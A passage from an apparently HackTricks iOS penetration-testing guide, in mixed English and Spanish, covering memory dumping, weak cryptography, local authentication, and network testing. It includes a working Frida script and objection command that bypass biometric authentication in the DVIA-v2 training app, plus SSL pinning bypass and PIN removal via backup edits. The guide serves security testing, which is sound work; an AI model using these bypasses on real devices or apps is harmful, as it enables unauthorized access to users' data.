An example of altering app behavior through backup modifications is demonstrated in the Bither bitcoin wallet app, where the UI lock PIN is stored within net.bither.plist under the pin_code key. Removing this key from the plist and restoring the backup removes the PIN requirement, providing unrestricted access.

Summary on Memory Testing for Sensitive Data

When dealing with sensitive information stored in an application’s memory, it is crucial to limit the exposure time of this data. There are two primary approaches to investigate memory content: creating a memory dump and analyzing the memory in real time. Both methods have their challenges, including the potential to miss critical data during the dump process or analysis.

Retrieving and Analyzing a Memory Dump

For both jailbroken and non-jailbroken devices, tools like objection and Fridump allow for the dumping of an app’s process memory. Once dumped, analyzing this data requires various tools, depending on the nature of the information you’re searching for.

To extract strings from a memory dump, commands such as strings or rabin2 -zz can be used:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Para un análisis más detallado, incluyendo la búsqueda de tipos de datos o patrones específicos, radare2 ofrece amplias capacidades de búsqueda:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Análisis de memoria en tiempo de ejecución

r2frida proporciona una alternativa potente para inspeccionar la memoria de una app en tiempo real, sin necesidad de un volcado de memoria. Esta herramienta permite la ejecución de comandos de búsqueda directamente en la memoria de la aplicación en ejecución:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Criptografía rota

Procesos deficientes de gestión de claves

Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una key hardcoded/predictable en el código. Esto no debería hacerse, ya que cierto reversing podría permitir a attackers extraer la información confidencial.

Uso de algoritmos inseguros y/o obsoletos

Los desarrolladores no deberían usar algoritmos obsoletos para realizar comprobaciones de autorización (checks), almacenar o enviar datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1… Si se usan hashes para almacenar contraseñas, por ejemplo, deben emplearse hashes resistentes a brute-force con salt.

Comprobación

Las principales comprobaciones a realizar son buscar si puedes encontrar contraseñas/secretos hardcoded en el código, si estos son predictable, y si el código está usando algún tipo de algoritmos weak de cryptography.

Es interesante saber que puedes monitor algunas crypto libraries automáticamente usando objection con:

ios monitor crypt

Para más información sobre las APIs criptográficas y bibliotecas de iOS acceda a https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Autenticación local

Autenticación local desempeña un papel crucial, especialmente cuando se trata de proteger el acceso en un endpoint remoto mediante métodos criptográficos. La esencia aquí es que, sin una implementación adecuada, los mecanismos de autenticación local pueden ser eludidos.

Apple’s Local Authentication framework and the keychain proporcionan APIs robustas para que los desarrolladores habiliten diálogos de autenticación de usuario y manejen de forma segura los datos secretos, respectivamente. El Secure Enclave protege el ID de huella dactilar para Touch ID, mientras que Face ID se basa en el reconocimiento facial sin comprometer los datos biométricos.

Para integrar Touch ID/Face ID, los desarrolladores tienen dos opciones de API:

  • LocalAuthentication.framework para autenticación de usuario de alto nivel sin acceso a los datos biométricos.
  • Security.framework para acceso a servicios de keychain a un nivel inferior, asegurando datos secretos con autenticación biométrica. Varios open-source wrappers simplifican el acceso al keychain.

Caution

Sin embargo, tanto LocalAuthentication.framework como Security.framework presentan vulnerabilidades, ya que principalmente devuelven valores booleanos sin transmitir datos para los procesos de autenticación, lo que los hace susceptibles de ser eludidos (consulte Don’t touch me that way, by David Lindner et al).

Implementación de la autenticación local

Para solicitar la autenticación de los usuarios, los desarrolladores deben utilizar el método evaluatePolicy dentro de la clase LAContext, eligiendo entre:

  • deviceOwnerAuthentication: Solicita Touch ID o el código de acceso del dispositivo, y falla si ninguno está habilitado.
  • deviceOwnerAuthenticationWithBiometrics: Solicita exclusivamente Touch ID.

Una autenticación exitosa se indica mediante un valor booleano devuelto por evaluatePolicy, lo que evidencia una posible falla de seguridad.

Autenticación local usando keychain

La implementación de autenticación local en apps iOS implica el uso de las keychain APIs para almacenar de forma segura datos secretos como tokens de autenticación. Este proceso garantiza que los datos solo puedan ser accedidos por el usuario, utilizando su código de acceso del dispositivo o autenticación biométrica como Touch ID.

El keychain ofrece la capacidad de establecer items con el atributo SecAccessControl, que restringe el acceso al item hasta que el usuario se autentique correctamente mediante Touch ID o el código de acceso del dispositivo. Esta funcionalidad es crucial para mejorar la seguridad.

A continuación se muestran ejemplos de código en Swift y Objective-C que demuestran cómo guardar y recuperar una cadena en/desde el keychain, aprovechando estas características de seguridad. Los ejemplos muestran específicamente cómo configurar el control de acceso para requerir autenticación Touch ID y garantizar que los datos sean accesibles solo en el dispositivo en el que fueron configurados, siempre que exista un código de acceso del dispositivo configurado.

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

Ahora podemos solicitar el elemento guardado del keychain. Keychain services mostrarán el diálogo de autenticación al usuario y devolverán data o nil dependiendo de si se proporcionó una huella dactilar adecuada o no.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

Detección

El uso de frameworks en una app también se puede detectar analizando la lista de librerías dinámicas compartidas del binario de la app. Esto se puede hacer usando otool:

$ otool -L <AppName>.app/<AppName>

Si una app utiliza LocalAuthentication.framework, la salida contendrá las dos líneas siguientes (recuerda que LocalAuthentication.framework utiliza Security.framework bajo el capó):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

If Security.framework is used, only the second one will be shown.

Local Authentication Framework Bypass

Objection

A través de la Objection Biometrics Bypass, ubicada en this GitHub page, existe una técnica para superar el mecanismo LocalAuthentication. El núcleo de este enfoque consiste en usar Frida para manipular la función evaluatePolicy, asegurando que produzca consistentemente un resultado True, independientemente del éxito real de la autenticación. Esto es especialmente útil para eludir procesos de autenticación biométrica defectuosos.

Para activar este bypass, se emplea el siguiente comando:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Este comando inicia una secuencia en la que Objection registra una tarea que efectivamente altera el resultado de la comprobación evaluatePolicy a True.

Frida

Un ejemplo del uso de evaluatePolicy desde DVIA-v2 application:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Para lograr el bypass de la Autenticación local, se escribe un script de Frida. Este script apunta a la comprobación evaluatePolicy, interceptando su callback para asegurar que devuelva success=1. Al alterar el comportamiento del callback, la comprobación de autenticación queda efectivamente bypass.

El script siguiente se inyecta para modificar el resultado del método evaluatePolicy. Cambia el resultado del callback para que siempre indique éxito.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Para inyectar el Frida script y bypass la autenticación biométrica, se usa el siguiente comando:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Exposición de funcionalidad sensible a través de IPC

iOS Custom URI Handlers / Deeplinks / Custom Schemes

iOS Universal Links

UIActivity Sharing

iOS UIActivity Sharing

UIPasteboard

iOS UIPasteboard

App Extensions

iOS App Extensions

WebViews

iOS WebViews

Serialisation and Encoding

iOS Serialisation and Encoding

Comunicación de red

Es importante comprobar que no existe comunicación sin cifrado y también que la aplicación está correctamente validando el certificado TLS del servidor.
Para comprobar este tipo de problemas puedes usar un proxy como Burp:

iOS Burp Suite Configuration

Comprobación del hostname

Un problema común al validar el certificado TLS es comprobar que el certificado fue firmado por una de confianza CA, pero no comprobar si el hostname del certificado es el hostname al que se está accediendo.
Para comprobar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes crear un nuevo certificado con Burp para un hostname diferente y usarlo. Si la aplicación sigue funcionando, entonces algo es vulnerable.

Certificate Pinning

Si una aplicación está usando correctamente SSL Pinning, entonces la aplicación sólo funcionará si el certificado es el esperado. Al probar una aplicación esto puede ser un problema ya que Burp servirá su propio certificado.
Para eludir esta protección en un dispositivo jailbroken, puedes instalar la aplicación SSL Kill Switch o instalar Burp Mobile Assistant

También puedes usar objection’s ios sslpinning disable

Varios

  • En /System/Library puedes encontrar los frameworks instalados en el teléfono usados por las aplicaciones del sistema
  • Las aplicaciones instaladas por el usuario desde el App Store se encuentran dentro de /User/Applications
  • Y /User/Library contiene datos guardados por las aplicaciones a nivel de usuario
  • Puedes acceder a /User/Library/Notes/notes.sqlite para leer las notas guardadas dentro de la aplicación.
  • Dentro de la carpeta de una aplicación instalada (/User/Applications/<APP ID>/) puedes encontrar algunos archivos interesantes:
  • iTunesArtwork: El icono usado por la app
  • iTunesMetadata.plist: Información de la app usada en el App Store
  • /Library/*: Contiene las preferencias y la caché. En /Library/Cache/Snapshots/* puedes encontrar la instantánea realizada a la aplicación antes de enviarla al segundo plano.

Hot Patching/Enforced Updateing

Los desarrolladores pueden parchear remotamente todas las instalaciones de su app al instante sin tener que volver a enviar la aplicación al App Store y esperar a que sea aprobada.
Para este propósito suele utilizarse JSPatch. Pero también hay otras opciones como Siren y react-native-appstore-version-checker.
Este es un mecanismo peligroso que podría ser abusado por SDKs de terceros maliciosos, por lo que se recomienda comprobar qué método se usa para la actualización automática (si lo hay) y probarlo. Puedes intentar descargar una versión anterior de la app para este propósito.

Third Parties

Un desafío significativo con los 3rd party SDKs es la falta de control granular sobre sus funcionalidades. Los desarrolladores se enfrentan a una elección: integrar el SDK y aceptar todas sus características, incluyendo potenciales vulnerabilidades de seguridad y problemas de privacidad, o renunciar por completo a sus beneficios. A menudo, los desarrolladores no pueden parchear las vulnerabilidades dentro de estos SDKs por sí mismos. Además, a medida que los SDKs ganan confianza en la comunidad, algunos pueden comenzar a contener malware.

Los servicios proporcionados por SDKs de terceros pueden incluir seguimiento del comportamiento del usuario, mostración de anuncios o mejoras de la experiencia de usuario. Sin embargo, esto introduce un riesgo ya que los desarrolladores pueden no ser completamente conscientes del código que se ejecuta en estas librerías, lo que lleva a riesgos potenciales de privacidad y seguridad. Es crucial limitar la información compartida con servicios de terceros a lo estrictamente necesario y asegurarse de que no se expongan datos sensibles.

La implementación de servicios de terceros suele venir en dos formas: una librería independiente o un SDK completo. Para proteger la privacidad del usuario, cualquier dato compartido con estos servicios debería ser anonimizado para prevenir la divulgación de Personal Identifiable Information (PII).

Para identificar las librerías que usa una aplicación, se puede emplear el comando otool. Esta herramienta debe ejecutarse contra la aplicación y cada shared library que use para descubrir librerías adicionales.

otool -L <application_path>

Vulnerabilidades interesantes y estudios de caso

Air Keyboard Remote Input Injection

Itunesstored Bookassetd Sandbox Escape

Referencias y más recursos

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks